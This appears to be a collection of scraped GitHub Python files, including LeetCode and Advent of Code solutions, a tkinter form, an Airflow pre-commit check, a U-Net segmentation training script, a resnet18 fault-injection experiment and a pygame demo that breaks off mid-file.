{"seq_id":"71003337381","text":"\"\"\"\n输入一个整数数组，实现一个函数来调整该数组中数字的顺序，使得所有奇数位于数组的前半部分，所有偶数位于数组的后半部分\n\n示例：\n输入：nums = [1,2,3,4]\n输出：[1,3,2,4]\n注：[3,1,2,4] 也是正确的答案之一\n\"\"\"\n\n\n# 双指针碾压墙\nclass Solution:\n    # def exchange(self, nums: List[int]) -> List[int]:\n    def exchange(self, nums):\n        if len(nums) == 0:\n            return nums\n        indexJi = 0\n        indexOu = len(nums) - 1\n        i = 0\n        while indexJi != indexOu:\n            print(\"i:\", i, \"    indexJi:\", indexJi, \"    indexOu:\", indexOu)\n            print(nums)\n            # 判断奇偶 通过 temp 放入对应侧 对应侧碾压墙 前进\n            if nums[i] % 2 == 1:\n                temp = nums[indexJi]\n                nums[indexJi] = nums[i]\n                nums[i] = temp\n                indexJi += 1\n            else:\n                temp = nums[indexOu]\n                nums[indexOu] = nums[i]\n                nums[i] = temp\n                indexOu -= 1\n            i += 1\n            # i 跑的快 = J Q 碾压的量       J O  中间的内容为 待处理的内容\n            if i >= indexOu:\n                i = indexJi\n        return nums\n\n\nif __name__ == '__main__':\n    nums = [2,16,3,5,13,1,16,1,12,18,11,8,11,11,5,1]\n    print(Solution().exchange(nums))\n","repo_name":"Linkney/LeetCode","sub_path":"SwordOffer/O21.py","file_name":"O21.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"7331593107","text":"# 회문\n\n# 재귀 판별 함수\ndef Palindrome(w: str):\n    if len(w) < 2:\n        return True\n    if w[0] == w[-1]:\n        w = w[1: -1]\n        return Palindrome(w)\n    else:\n        return False\n\n# slicing 판별 함수\ndef Palindrome(w: str):\n    return w[:] == w[::-1]\n\nfor t in range(int(input())):\n    N, M = map(int, input().split())\n    arr = [input() for _ in range(N)]\n    for i in range(N):\n        for j in range(N - M + 1):\n            solR = ''\n            solC = ''\n            sols = []\n            for k in range(M):\n                solR += arr[i][j + k]\n                solC += arr[j + k][i]\n            sols.append((Palindrome(solR), solR))\n            sols.append((Palindrome(solC), solC))\n            for idx in range(2):\n                if sols[idx][0]:\n                    sol = sols[idx][1]\n                    break\n\n    print(f'#{t + 1} {sol}')","repo_name":"minguno/TIL","sub_path":"Algorithm/0217_algorithm/SWEA_13715_palindrome.py","file_name":"SWEA_13715_palindrome.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22211276878","text":"from tkinter import *\n\n\ndef clicked():\n    name = name_entry.get()\n    surname = surname_entry.get()\n    message_label.config(text=f'Welcome, {name} {surname}! You have registered')\n\n\nwindow = Tk()\nwindow.title(\"Clicking application\")\ntop_frame = Frame(window)\nlabels_frame = Frame(top_frame)\nenries_frame = Frame(top_frame)\nbottom_frame = Frame(window)\nwindow.geometry(\"300x350\")\nname_label = Label(labels_frame, text='Name')\nsurname_label = Label(labels_frame, text='Surname')\nname_entry = Entry(enries_frame)\nsurname_entry = Entry(enries_frame)\nreg_button = Button(bottom_frame, text='Register', command=clicked)\nmessage_label = Label(bottom_frame, text='')\n\nname_label.pack()\nsurname_label.pack()\nname_entry.pack()\nsurname_entry.pack()\nreg_button.pack()\nmessage_label.pack()\ntop_frame.pack()\nlabels_frame.pack(side=LEFT)\nenries_frame.pack()\nbottom_frame.pack()\n\nwindow.mainloop()\n","repo_name":"DrShiz/stepik_tkinter","sub_path":"les4.py","file_name":"les4.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32681701153","text":"from __future__ import annotations\n\nimport re\nimport sys\nfrom pathlib import Path\n\nfrom rich.console import Console\n\nif __name__ not in (\"__main__\", \"__mp_main__\"):\n    raise SystemExit(\n        \"This file is intended to be executed as an executable program. You cannot use it as a module.\"\n        f\"To run this script, run the ./{__file__} command [FILE] ...\"\n    )\n\nconsole = Console(color_system=\"standard\", width=200)\n\nerrors: list[str] = []\n\nSKIP_COMP_CHECK = \"# ignore airflow compat check\"\nGET_AIRFLOW_APP_MATCHER = re.compile(r\".*get_airflow_app\\(\\)\")\n\n\ndef _check_file(_file: Path):\n    lines = _file.read_text().splitlines()\n\n    for index, line in enumerate(lines):\n        if SKIP_COMP_CHECK in line:\n            continue\n\n        if GET_AIRFLOW_APP_MATCHER.match(line):\n            errors.append(\n                f\"[red]In {_file}:{index} there is a forbidden construct \"\n                \"(Airflow 2.4+ only):[/]\\n\\n\"\n                f\"{lines[index]}\\n\\n\"\n                \"[yellow]You should not use airflow.utils.airflow_flask_app.get_airflow_app() in providers \"\n                \"as it is not available in Airflow 2.4+. Use current_app instead.[/]\"\n            )\n\n\nif __name__ == \"__main__\":\n    for file in sys.argv[1:]:\n        _check_file(Path(file))\n    if errors:\n        console.print(\"[red]Found Airflow 2.3+ compatibility problems in providers:[/]\\n\")\n        for error in errors:\n            console.print(f\"{error}\")\n        sys.exit(1)\n","repo_name":"a0x8o/airflow","sub_path":"scripts/ci/pre_commit/pre_commit_check_provider_airflow_compatibility.py","file_name":"pre_commit_check_provider_airflow_compatibility.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"4851940319","text":"import aoc_utils\nimport sys\nfrom collections import *\nnums = aoc_utils.readSplittedIntLine()\ndensity = defaultdict(int)\nnums.sort()\nfor x in nums:\n    density[x] += 1\nfor x in range(256):\n    for key in range(-1,max(density)):\n        density[key] = density[key+1]\n    density[max(density)] = 0\n    density[6] = density[6] +  density[-1]\n    density[8] = density[8] +  density[-1]\n    density[-1] = 0\nprint(sum(density.values()))\n","repo_name":"sapieninja/AdventOfCode","sub_path":"Python/Python21/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28224411419","text":"import wandb\nfrom src.models.segmentation_unet import UNet\nimport time\nimport shutil\nfrom pytorch_lightning.loggers import WandbLogger\nfrom torchvision.utils import make_grid\nimport pytorch_lightning as pl\nimport os\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nimport torch\nfrom log import logger\nfrom utils import get_compute_mask_args, make_exp_config, collate_batch, get_train_segmentation_refined\nfrom utils import resize_long_edge\nfrom utils import DatasetSplit\nfrom sklearn.metrics import accuracy_score, jaccard_score\nfrom datetime import datetime\nimport torchvision\nfrom einops import rearrange\nfrom scipy.ndimage import binary_fill_holes, binary_closing\nfrom torch import optim\nfrom pytorch_lightning.callbacks import ModelCheckpoint\nfrom src.foreground_masks import GMMMaskSuggestor\nfrom src.datasets.dataset import FOBADataset\nfrom src.datasets.utils import path_to_tensor\nfrom src.datasets import get_dataset\n\n\nclass FOBAUnetDataset(FOBADataset):\n    def __init__(self, opt, H, W, mask_dir=None):\n        super().__init__(opt, H, W, mask_dir)\n        self.refined_mask_base_dir = os.path.join(self.opt.base_dir, \"refined_mask_tmp\")\n        logger.info(f\"Expecting refined masks in: {self.refined_mask_base_dir}\")\n\n        self.load_segmentations = opt.dataset_args.get(\"load_segmentations\", False)\n        self._build_dataset()\n\n    def _load_images(self, index):\n        assert len(index) == 1\n        entry = self.data[index[0]].copy()\n        img = path_to_tensor(entry[\"img_path\"])\n\n        entry[\"img\"] = img\n        entry[\"refined_mask\"] = torch.load(os.path.join(self.refined_mask_base_dir, entry[\"rel_path\"] + \".pt\"))\n\n        if self._preliminary_masks_path is not None:\n            entry[\"preliminary_mask\"] = torch.load(os.path.join(self._preliminary_masks_path, entry[\"rel_path\"] + \".pt\"))\n\n        if self.load_segmentations:\n            seg = (path_to_tensor(entry[\"seg_path\"]) + 1) / 2\n            entry[\"segmentation\"] = seg\n            y = torch.full((1, 3, self.H, self.W), 0.)\n            y[0, :, :seg.size()[2], :seg.size()[3]] = seg\n            entry[\"segmentation_x\"] = y\n        return entry\n\n    def check_all_masks_computed(self):\n        for i in range(len(self)):\n            entry = self.data[i]\n            if not os.path.isfile(os.path.join(self.refined_mask_base_dir, entry[\"rel_path\"] + \".pt\")):\n                logger.warn(f\"File number {i} not found: {os.path.join(self.refined_mask_base_dir, entry['rel_path'] + '.pt')}\")\n                return False\n        logger.info(\"All refined masks successfully computed\")\n        return True\n\n    def calculate_refined_masks(self, exp_name):\n        self.add_inpaintings(exp_name)\n        self.add_preliminary_masks()\n\n        mask_suggestor = GMMMaskSuggestor(self.opt)\n\n        assert self._preliminary_masks_path is not None, \"Define preliminary mask path\"\n        assert self._inpainted_images_path is not None, \"Define inpainting image path\"\n        for i in tqdm(range(len(self)), \"computing refined inpainting\"):\n            sample = self.data[i].copy()\n            img = path_to_tensor(sample[\"img_path\"])\n            sample[\"img\"] = img\n            sample[\"preliminary_mask\"] = torch.load(os.path.join(self._preliminary_masks_path, sample[\"rel_path\"] + \".pt\"))\n            sample[\"inpainted_image\"] = torch.load(os.path.join(self._inpainted_images_path, sample[\"rel_path\"] + \".pt\"))\n\n            tmp_mask_path = os.path.join(self.opt.base_dir, \"refined_mask_tmp\", sample[\"rel_path\"] + \".pt\")\n            if os.path.isfile(tmp_mask_path):\n                continue\n\n            # get original image\n            original_image = sample[\"img\"]\n            original_image = (original_image + 1) / 2\n            y_resized = resize_long_edge(original_image, 512)  # resized s.t. long edge has lenght 512\n            y = torch.zeros((1, 3, 512, 512))\n            y[:, :, :y_resized.size()[-2], :y_resized.size()[-1]] = y_resized\n\n            # get preliminary mask\n            resize_to_img_space = torchvision.transforms.Resize(512)\n            prelim_mask = resize_to_img_space(mask_suggestor(sample, \"preliminary_mask\").unsqueeze(dim=0))\n\n            # get inpainted image\n            inpainted = sample[\"inpainted_image\"]\n\n            # get gmm diff mask\n            diff = (abs(y[0, :, :inpainted.size()[-2], :inpainted.size()[-1]] - inpainted))\n            diff = rearrange(diff, \"c h w -> 1 h w c\")\n            diff_mask = mask_suggestor(diff.mean(dim=3), key=None).unsqueeze(dim=0)\n\n            prelim_mask = prelim_mask[:, :diff_mask.size()[-2], :diff_mask.size()[-1]]\n            refined_mask = prelim_mask * diff_mask\n            refined_mask = refined_mask.unsqueeze(dim=0)\n            os.makedirs(os.path.dirname(tmp_mask_path), exist_ok=True)\n            torch.save(refined_mask, tmp_mask_path)\n\n\n\ndef get_train_preprocessing_function(postprocess_function):\n    transforms = []\n    transforms.append(torchvision.transforms.Resize(128))\n    transforms.append(torchvision.transforms.RandomCrop(128))\n    transforms.append(torchvision.transforms.RandomHorizontalFlip())\n    tform = torchvision.transforms.Compose(transforms)\n\n    def preprocess(batch):\n        samples = []\n        for i in range(len(batch[\"img\"])):\n            sample = {k: batch[k][i] for k in batch}\n            samples.append(sample)\n\n        batch[\"x128\"] = []\n        batch[\"y128\"] = []\n        for i in range(len(samples)):\n            x_resized = resize_long_edge(samples[i][\"img\"], 512)\n            y = samples[i][\"refined_mask\"]\n            y = postprocess_function(y)\n            if x_resized.ndim == 3 and x_resized.size()[0] == 3:\n                x_resized = x_resized.unsqueeze(dim=0)\n            if y.ndim == 3 and y.size()[0] == 1:\n                y = y.unsqueeze(dim=0)\n            xcaty = torch.cat([x_resized, y[:, :, :x_resized.size()[-2], :x_resized.size()[-1]]], dim=1)\n            xcaty = tform(xcaty)\n            batch[\"x128\"].append(xcaty[:, :3])\n            batch[\"y128\"].append(xcaty[:, 3:])\n\n        batch[\"x128\"] = torch.cat(batch[\"x128\"]).to(\"cuda\")\n        batch[\"y128\"] = torch.cat(batch[\"y128\"]).to(\"cuda\")\n        return batch\n    return preprocess\n\n\ndef get_val_preprocessing_function(postprocess_function):\n    transforms = []\n    transforms.append(torchvision.transforms.Resize(128))\n    transforms.append(torchvision.transforms.CenterCrop(128))\n    tform = torchvision.transforms.Compose(transforms)\n\n    def preprocess(batch):\n        samples = []\n        for i in range(len(batch[\"img\"])):\n            sample = {k: batch[k][i] for k in batch}\n            samples.append(sample)\n\n        batch[\"x128\"] = []\n        batch[\"y128\"] = []\n        for i in range(len(samples)):\n            x_resized = resize_long_edge(samples[i][\"img\"], 512)\n            y = samples[i][\"refined_mask\"]\n            y = postprocess_function(y)\n            if x_resized.ndim == 3 and x_resized.size()[0] == 3:\n                x_resized = x_resized.unsqueeze(dim=0)\n            if y.ndim == 3 and y.size()[0] == 1:\n                y = y.unsqueeze(dim=0)\n            xcaty = torch.cat([x_resized, y[:, :, :x_resized.size()[-2], :x_resized.size()[-1]]], dim=1)\n            xcaty = tform(xcaty)\n            batch[\"x128\"].append(xcaty[:, :3])\n            batch[\"y128\"].append(xcaty[:, 3:])\n\n        batch[\"x128\"] = torch.cat(batch[\"x128\"])\n        batch[\"y128\"] = torch.cat(batch[\"y128\"])\n        return batch\n    return preprocess\n\n\ndef get_test_preprocessing_function():\n    transforms = []\n    transforms.append(torchvision.transforms.Resize(128))\n    transforms.append(torchvision.transforms.CenterCrop(128))\n    tform = torchvision.transforms.Compose(transforms)\n\n    def preprocess(sample):\n        sample[\"x128\"] = []\n        sample[\"y128\"] = []\n\n        for i in range(len(sample[\"x\"])):\n            x = sample[\"img\"][i]\n            y = sample[\"segmentation\"][i]\n            xcaty = torch.cat([x, y], dim=1)\n            xcaty = tform(xcaty)\n            sample[\"x128\"].append(xcaty[:, :3])\n            sample[\"y128\"].append(xcaty[:, 3:])\n\n        sample[\"x128\"] = torch.cat(sample[\"x128\"])\n        sample[\"y128\"] = torch.cat(sample[\"y128\"]).mean(dim=1, keepdims=True)\n        return sample\n    return preprocess\n\ndef get_test_bbox_preprocessing_function():\n    transforms = []\n    transforms.append(torchvision.transforms.Resize(128))\n    transforms.append(torchvision.transforms.CenterCrop(128))\n    tform = torchvision.transforms.Compose(transforms)\n\n    def preprocess(sample):\n        sample[\"x128\"] = []\n        sample[\"y128\"] = []\n\n        for i in range(len(sample[\"x\"])):\n            x = sample[\"img\"][i]\n            y = sample[\"segmentation\"][i]\n            xcaty = torch.cat([x, y], dim=1)\n            xcaty = tform(xcaty)\n            sample[\"x128\"].append(xcaty[:, :3])\n            sample[\"y128\"].append(xcaty[:, 3:])\n\n        sample[\"x128\"] = torch.cat(sample[\"x128\"])\n        sample[\"y128\"] = torch.cat(sample[\"y128\"]).mean(dim=1, keepdims=True)\n        return sample\n    return preprocess\n\n\nclass SegmentationUnet(pl.LightningModule):\n    def __init__(self, model, train_transform, val_transform, test_transform, bbox_mode):\n        super().__init__()\n        self.model = model\n        self.train_transform = train_transform\n        self.val_transform = val_transform\n        self.test_transform = test_transform\n        self.step = 0\n        self.save_hyperparameters()\n        self.bbox_mode = bbox_mode\n        #self.compute_\n\n    def training_step(self, train_batch, batch_idx):\n        x = self.train_transform(train_batch)\n        x = train_batch[\"x128\"]\n        y = train_batch[\"y128\"]\n\n        x_out = self.model(x)\n\n        self.step += 1\n        loss = torch.nn.functional.binary_cross_entropy(x_out, y)\n\n        self.log('global_step', self.step)\n        self.log('train/loss', loss)\n\n        if batch_idx == 0:\n            self.log_prediction(x, y, x_out)\n        return loss\n\n    def validation_step(self, val_batch, batch_idx):\n        self.val_transform(val_batch)\n\n        x = val_batch[\"x128\"]\n        y = val_batch[\"y128\"]\n\n        x_out = self.model(x)\n\n        loss = torch.nn.functional.binary_cross_entropy(x_out, y)\n        self.log(\"val/loss\", loss)\n\n        if batch_idx == 0:\n            self.log_prediction(x, y, x_out)\n        return {\"loss\": loss, \"x_out\": x_out.flatten().cpu(), \"y\": y.flatten().cpu().to(bool)}\n\n    def log_prediction(self, x, y, x_out, test=False):\n        inputs = make_grid(x, nrows=8)\n        gt = make_grid(y, nrows=8)\n        predictions = make_grid(x_out, nrows=8)\n        appendix = \"val\" if not test else \"test\"\n        wandb.log({\"images\" + appendix: wandb.Image(inputs.cpu()),\n                   \"gt_seg\" + appendix: wandb.Image(gt.mean(dim=0).cpu().numpy()),\n                   \"predictions\" + appendix: wandb.Image(self.threshold_prediction(predictions.cpu(), th=0.5).to(torch.float32).mean(dim=0).numpy()),\n                   })\n\n    def threshold_prediction(self, pred, th):\n        pred[pred >= th] = 1\n        pred[pred < th] = 0\n        pred = pred.to(bool)\n        return pred\n\n    def validation_epoch_end(self, validation_step_outputs):\n        losses = []\n        y_pred = []\n        y_true = []\n        for step_outputs in validation_step_outputs:\n            losses.append(step_outputs[\"loss\"])\n            y_pred.extend(step_outputs[\"x_out\"])\n            y_true.extend(step_outputs[\"y\"])\n        y_true = torch.tensor(y_true)\n        y_pred = torch.tensor(y_pred)\n\n        y_pred = self.threshold_prediction(y_pred, 0.5) # sigmoid\n\n        accuracy = accuracy_score(y_true, y_pred)\n        iou = jaccard_score(y_true, y_pred)\n        miou = (iou + jaccard_score(torch.logical_not(y_true), torch.logical_not(y_pred))) /2\n\n        self.log(\"val/batch_loss\", torch.tensor(losses).mean())\n        self.log(\"val/acc\", accuracy)\n        self.log(\"val/iou\", iou)\n        self.log(\"val/miou\", miou)\n        return {\"accuracy\":accuracy, \"iou\":iou, \"miou\":miou}\n\n    def configure_optimizers(self):\n        optimizer = optim.Adam(self.parameters(), lr=0.002)\n        return optimizer\n\n    def test_step(self, test_batch, batch_idx):\n        self.test_transform(test_batch)\n\n        x = test_batch[\"x128\"]\n        y = test_batch[\"y128\"]\n\n        x_out = self.model(x)\n        y_pred = self.threshold_prediction(x_out, 0.5) # sigmoid\n        for i in range(len(x_out)):\n            y_pred[i] = torch.tensor(binary_fill_holes(binary_closing(y_pred[i].cpu())))\n\n        loss = torch.nn.functional.binary_cross_entropy(x_out, y)\n        self.log(\"test/loss\", loss)\n\n        if batch_idx == 0:\n            self.log_prediction(x, y, x_out, test=True)\n        return {\"loss\": loss, \"x_out\": x_out.cpu(), \"y\": y.cpu().to(bool)}\n\n    def test_epoch_end(self, validation_step_outputs):\n        losses = []\n        y_pred = []\n        y_true = []\n        for step_outputs in validation_step_outputs:\n            losses.append(step_outputs[\"loss\"])\n            y_pred.extend(step_outputs[\"x_out\"].flatten())\n            y_true.extend(step_outputs[\"y\"].flatten())\n        y_true = torch.tensor(y_true)\n        y_pred = torch.tensor(y_pred)\n\n        y_pred = self.threshold_prediction(y_pred, 0.5) # sigmoid\n        if self.bbox_mode:\n            pass\n\n        accuracy = accuracy_score(y_true, y_pred)\n        iou = jaccard_score(y_true, y_pred)\n        miou = (iou + jaccard_score(torch.logical_not(y_true), torch.logical_not(y_pred))) /2\n\n        self.log(\"test/batch_loss\", torch.tensor(losses).mean())\n        self.log(\"test/acc\", accuracy)\n        self.log(\"test/iou\", iou)\n        self.log(\"test/miou\", miou)\n        return {\"accuracy\":accuracy, \"iou\":iou, \"miou\":miou}\n\n\ndef get_datasets_splits_human(opt):\n    opt.dataset_args[\"load_segmentations\"] = False\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"train\")\n    opt.dataset_args[\"limit_dataset\"] = [0, 5000]\n    train_dataset = FOBAUnetDataset(opt, opt.H, opt.W, mask_dir=opt.out_dir)\n    if not train_dataset.check_all_masks_computed():\n        train_dataset.calculate_refined_masks(opt.exp_name)\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"val\")\n    opt.dataset_args[\"limit_dataset\"] = [0, 100]\n    val_dataset = FOBAUnetDataset(opt, opt.H, opt.W, mask_dir=opt.out_dir)\n    if not val_dataset.check_all_masks_computed():\n        val_dataset.calculate_refined_masks(opt.exp_name)\n\n    return train_dataset, val_dataset, val_dataset#2nd one unused\n\ndef get_datasets_splits_bbox(opt):\n    opt.dataset_args[\"load_segmentations\"] = False\n    opt.dataset_args[\"load_bboxes\"] = False\n    #opt.dataset_args[\"limit_dataset\"] = [0, 100]\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"train\")\n    train_dataset = FOBAUnetDataset(opt, opt.H, opt.W, mask_dir=opt.out_dir)\n    if not False: # train_dataset.check_all_masks_computed():\n        train_dataset.calculate_refined_masks(opt.exp_name)\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"train\")\n    opt.dataset_args[\"limit_dataset\"] = [0, 1] # ununsed as I train for fixed number of steps\n    val_dataset = FOBAUnetDataset(opt, opt.H, opt.W, mask_dir=opt.out_dir)\n    if not val_dataset.check_all_masks_computed():\n        val_dataset.calculate_refined_masks(opt.exp_name)\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"test\")\n    opt.dataset_args[\"load_bboxes\"] = True\n    test_dataset = get_dataset(opt)\n    return train_dataset, val_dataset, test_dataset#2nd one unused\n\n\ndef get_datasets_splits(opt):\n    opt.dataset_args[\"split\"] = DatasetSplit(\"train\")\n    #opt.dataset_args[\"limit_dataset\"] =[0, 10]\n    train_dataset = FOBAUnetDataset(opt, opt.H, opt.W, mask_dir=opt.out_dir)\n    if not train_dataset.check_all_masks_computed():\n        train_dataset.calculate_refined_masks(opt.exp_name)\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"val\")\n    val_dataset = FOBAUnetDataset(opt, opt.H, opt.W, mask_dir=opt.out_dir)\n    if not val_dataset.check_all_masks_computed():\n        val_dataset.calculate_refined_masks(opt.exp_name)\n\n    opt.dataset_args[\"split\"] = DatasetSplit(\"test\")\n    opt.dataset_args[\"load_segmentations\"] = True\n    test_dataset = get_dataset(opt)\n    return train_dataset, val_dataset, test_dataset\n\n\ndef train_segmentation_network(opt):\n    opt.exp_name = args.exp_name if args.exp_name is not None else opt.exp_name\n    logger.info(f\"Experiment name:{opt.exp_name}\")\n\n    model = UNet(\n        n_channels=3,\n        n_classes=1,\n    )\n\n    if opt.dataset == \"human36\":\n        train_dataset, val_dataset, test_dataset = get_datasets_splits_human(opt)\n        # assert test_dataset is val_dataset\n    elif opt.dataset == \"bird\":\n        train_dataset, val_dataset, test_dataset = get_datasets_splits(opt)\n    elif opt.dataset == \"dog\":\n        train_dataset, val_dataset, test_dataset = get_datasets_splits_bbox(opt)\n    elif opt.dataset == \"car\":\n        train_dataset, val_dataset, test_dataset = get_datasets_splits_bbox(opt)\n    else:\n        raise ValueError(\"No dataset selected in exp file\")\n\n\n\n    logger.info(f\"Splits: Train {len(train_dataset)}, Val {len(val_dataset)}, Test {len(test_dataset)}\")\n\n    device = torch.device(\"cuda\")\n    model = model.to(device)\n\n    train_dataloader = DataLoader(train_dataset,\n                            batch_size=32,\n                            shuffle=True,\n                            num_workers=0,#opt.num_workers,\n                            collate_fn=collate_batch,\n                            )\n    val_dataloader = DataLoader(val_dataset,\n                            batch_size=32,\n                            shuffle=False,\n                            num_workers=0,#opt.num_workers,\n                            collate_fn=collate_batch,\n                            )\n    test_dataloader = DataLoader(test_dataset,\n                            batch_size=32,\n                            shuffle=False,\n                            num_workers=0,#opt.num_workers,\n                            collate_fn=collate_batch,\n                            )\n\n    if not args.postprocess:\n        logger.info(f\"No postprocessing\")\n        postprocess_function = lambda x: x\n    else:\n        logger.info(f\"Postprocessing masks with filling and closing\")\n        mask_suggestor = GMMMaskSuggestor(opt)\n        postprocess_function = mask_suggestor._compute_post_processed\n\n    bbox_mode = args.bbox_mode\n    logger.info(f\"Running test in with BBox Mode set: {bbox_mode}\")\n    test_transform = get_test_preprocessing_function() if not bbox_mode else get_test_bbox_preprocessing_function()\n\n    module = SegmentationUnet(model,\n                        train_transform=get_train_preprocessing_function(postprocess_function),\n                        val_transform=get_val_preprocessing_function(postprocess_function),\n                        test_transform=test_transform,\n                        bbox_mode=bbox_mode,\n                    )\n\n\n    steps_per_epoch =(len(train_dataset) // 32) + 1 - (len(train_dataset) % 32 == 0)\n    n_epochs = int(12000 / steps_per_epoch)\n    #n_epochs = 3\n\n    logger.info(f\"Training for: {n_epochs} epochs\")\n    wandb_logger = WandbLogger(project=\"foba-unet\")\n    checkpoint_callback = ModelCheckpoint(dirpath=os.path.join(opt.log_dir, \"checkpoints\"),\n                                          save_last=True,\n                                          save_top_k=2,\n                                          monitor=\"val/acc\",\n                                          mode=\"max\",\n                                          )\n    logger.info(f\"Logging checkpoints to {os.path.join(opt.log_dir, 'checkpoints')}\")\n\n    trainer = pl.Trainer(\n        accelerator=\"gpu\",\n        strategy=\"ddp\",\n        devices=torch.cuda.device_count(),\n        max_epochs=n_epochs,\n        callbacks=[checkpoint_callback],\n        logger=wandb_logger,\n    )\n\n    if args.test_only:\n        assert args.ckpt_path is not None\n        logger.info(f\"Start testing with latest model: {args.ckpt_path}\")\n        test_trainer = pl.Trainer(\n            accelerator=\"gpu\",\n            devices=1,\n            logger=wandb_logger,\n        )\n        test_trainer.test(\n            module,\n            dataloaders=[test_dataloader],\n            ckpt_path=args.ckpt_path,\n        )\n        exit(0)\n\n\n\n    trainer.fit(module,\n                train_dataloaders=train_dataloader,\n                val_dataloaders=[val_dataloader],\n                )\n\n    if trainer.global_rank == 0:\n        save_path = os.path.join(opt.log_dir, 'checkpoints', \"last.ckpt\")\n        logger.info(f\"Saving latest model to: {save_path}\")\n        trainer.save_checkpoint(filepath=save_path)\n\n        logger.info(f\"Start testing with latest model: {save_path}\")\n        test_trainer = pl.Trainer(\n            accelerator=\"gpu\",\n            devices=1,\n            logger=wandb_logger,\n        )\n        test_trainer.test(\n            module,\n            dataloaders=[test_dataloader],\n            ckpt_path=save_path,\n        )\n\n\nif __name__ == \"__main__\":\n    args = get_train_segmentation_refined()\n    exp_config = make_exp_config(args.EXP_PATH)\n\n    # make log dir\n    if not os.path.exists(exp_config.log_dir): os.mkdir(exp_config.log_dir)\n    log_dir = os.path.join(exp_config.log_dir, exp_config.name, datetime.now().strftime(\"%Y-%m-%dT%H-%M-%S\"))\n    os.makedirs(log_dir)\n    os.makedirs(os.path.join(log_dir, \"checkpoints\"))\n    shutil.copy(exp_config.__file__, log_dir)\n    exp_config.log_dir = log_dir\n\n    wandb.init(project=\"foba-unet\", entity=\"hr-biomedia\")\n    exp_config.args = args\n    train_segmentation_network(exp_config)","repo_name":"MischaD/fobadiffusion","sub_path":"scripts/train_segmentation_refined.py","file_name":"train_segmentation_refined.py","file_ext":"py","file_size_in_byte":21451,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"27889858902","text":"\nfrom dataset.imagenet import make_testloader\nfrom mrfi import MRFI, EasyConfig\nfrom mrfi.experiment import BER_Acc_experiment, logspace_density, Acc_golden, benchmark_range\nimport matplotlib.pyplot as plt\nfrom torchvision.models import resnet18\nimport torch\n\neconfig = EasyConfig.load_file('easyconfigs/fxp_fi.yaml')\nfi_model = MRFI(resnet18(pretrained = True).cuda().eval(), econfig)\n\nselector_cfg = fi_model.get_activation_configs('selector')\nquantization_cfg = fi_model.get_activation_configs('quantization.args')\nerrormode_cfg = fi_model.get_activation_configs('error_mode.args')\n\nbatch_size = 128\nn_images = 1000\n\nquantization_cfg.integer_bit = 2\nquantization_cfg.decimal_bit = 12\nerrormode_cfg.bit_width = 14\n\nAcc_golden(fi_model, make_testloader(n_images, batch_size = batch_size))\nBER, Acc = BER_Acc_experiment(fi_model, selector_cfg, make_testloader(n_images, batch_size = batch_size))\n\nprint(Acc)\n\nquantization_cfg.integer_bit = 3\nquantization_cfg.decimal_bit = 13\nerrormode_cfg.bit_width = 16\n\nAcc_golden(fi_model, make_testloader(n_images, batch_size = batch_size))\nBER, Acc = BER_Acc_experiment(fi_model, selector_cfg, make_testloader(n_images, batch_size = batch_size))\n","repo_name":"fffasttime/MRFI","sub_path":"experiments/resnet18_BER_Acc.py","file_name":"resnet18_BER_Acc.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"19602175940","text":"import pygame\nimport random\nimport pygame_menu\n\n\nclass Ball(pygame.sprite.Sprite):\n    def __init__(self, x, y, size):\n        super().__init__()\n\n        self.direction = \"left\"\n        self.size = size\n        \n        self.image = pygame.Surface((size, size), pygame.SRCALPHA, 32).convert_alpha()\n        self.rect = pygame.draw.circle(\n                self.image,\n                \"yellow\",\n                (size/2, size/2),\n                self.size/2,\n            )\n        self.rect.x = x\n        self.rect.y = y\n\n        \n\n    def update(self):\n        if self.direction == \"left\":\n            self.rect.x -= 3\n        else:\n            self.rect.x += 3\n\nclass Controller:\n    def __init__(self):\n        pygame.init()\n\n        self.screen = pygame.display.set_mode()\n        self.width, self.height = pygame.display.get_window_size()\n\n        ## Bouncing Ball Model\n        self.ball = Ball(self.width / 2, self.height / 2, 100)\n        self.sprites = pygame.sprite.Group((self.ball,))\n\n        self.state = \"START\"\n        \n\n    def mainloop(self):\n        while True:\n            if self.state == \"START\":\n                self.startloop()\n            elif self.state == \"GAME\":\n                self.gameloop()\n            elif self.state ==\"END\":\n                self.endloop()\n\n    def startloop(self):\n\n        self.menu = pygame_menu.Menu(\"Start Screen\", self.width-20, self.height/2)\n        # a label allows you to add text on the page\n        self.menu.add.label(\"Click anywhere to start the program\", max_char=-1, font_size=14)\n        #a button creates a button you can link to a method\n        self.menu.add.button(\n            'Start', \n            self.start_game, \n            align=pygame_menu.locals.ALIGN_CENTER\n        )\n        \n        while self.state == \"START\":\n            for event in pygame.event.get():\n                if event.type == pygame.MOUSEBUTTONDOWN:\n                    self.state = \"GAME\"\n\n\n            # pass events to the menu object\n            self.menu.update(pygame.event.get())\n            # You can draw the menu onto any surface\n            # so if you want the menu in a specific place, \n            # create a surface in the location to draw the menu on\n            self.menu.draw(self.screen)\n            pygame.display.flip()\n\n    def endloop(self):\n        font_obj = pygame.font.SysFont(None, 48)\n        msg = font_obj.render(\"You win! You may quit any time by closing the program\", True, \"yellow\")\n        \n        while self.state == \"END\":\n\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    pygame.quit()\n                    exit()\n\n        \n            